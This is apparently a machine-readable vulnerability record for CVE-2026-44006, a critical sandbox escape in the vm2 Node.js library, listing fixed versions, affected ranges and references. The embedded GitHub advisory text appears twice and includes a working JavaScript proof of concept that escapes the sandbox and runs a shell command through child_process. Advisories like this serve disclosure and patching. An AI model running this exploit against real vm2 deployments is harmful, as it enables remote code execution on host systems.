{"id":"CVE-2026-44006","aliases":["CLSA-2026-1787860907","EUVD-2026-30076","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-qcp4-v2jj-fjx8","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-44006"],"status":"published","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00815,"percentile":0.57392,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-914","CWE-94"],"published":"2026-05-07T03:54:34Z","modified":"2026-10-28T02:31:13Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.3","3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.5"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.3"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44006","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477200","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44006.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44006","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qcp4-v2jj-fjx8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44006.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44006","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:31:54.902Z","modified":"2026-09-07T12:04:57.052Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-94","CWE-914"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-30076","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:31:54Z","modified":"2026-09-07T12:04:57Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T17:28:30.668645Z"}],"ghsa":[{"id":"GHSA-qcp4-v2jj-fjx8","title":"vm2 has a Sandbox Escape Vulnerability","description":"### Summary\n\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\n\n### Details\n\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\n\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\n\n### PoC\n```js\nlet obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice: () =\u003e '',\n};\n\nlet sym;\n\nobj.slice(10, {\n\tshowHidden: true,\n\tshowProxy: true,\n\tdepth: 10,\n\tstylize(a) {\n\t\tconst handler = this.seen \u0026\u0026 this.seen[1];\n\n\t\tif (handler \u0026\u0026 handler.getPrototypeOf) {\n\t\t\tgP = handler.getPrototypeOf;\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\n\t\t\tHObject = HObjectProto.constructor;\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\t\t}\n\t\treturn a;\n\t},\n});\n\nobj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor('return process')()\n\t\t.getBuiltinModule('child_process')\n\t\t.execSync('id', { stdio: 'inherit' });\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\nSandbox Escape -\u003e RCE","status":"published","published":"2026-05-07T03:54:34Z","modified":"2026-05-14T20:36:25Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-44006","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T18:16:17.387Z","modified":"2026-10-26T17:10:03.27Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-914"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-44006","title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:31:54.902Z","modified":"2026-10-28T02:31:13.436949064Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-qcp4-v2jj-fjx8","title":"vm2 has a Sandbox Escape Vulnerability","description":"### Summary\n\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\n\n### Details\n\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\n\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\n\n### PoC\n```js\nlet obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice: () =\u003e '',\n};\n\nlet sym;\n\nobj.slice(10, {\n\tshowHidden: true,\n\tshowProxy: true,\n\tdepth: 10,\n\tstylize(a) {\n\t\tconst handler = this.seen \u0026\u0026 this.seen[1];\n\n\t\tif (handler \u0026\u0026 handler.getPrototypeOf) {\n\t\t\tgP = handler.getPrototypeOf;\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\n\t\t\tHObject = HObjectProto.constructor;\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\t\t}\n\t\treturn a;\n\t},\n});\n\nobj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor('return process')()\n\t\t.getBuiltinModule('child_process')\n\t\t.execSync('id', { stdio: 'inherit' });\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\nSandbox Escape -\u003e RCE","status":"published","published":"2026-05-07T03:54:34Z","modified":"2026-05-14T20:52:26.396415Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"ROOT-APP-NPM-CVE-2026-44006","title":"CVE-2026-44006 in vm2 - Patched by Root","description":"Root has patched CVE-2026-44006 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:25.736842575Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}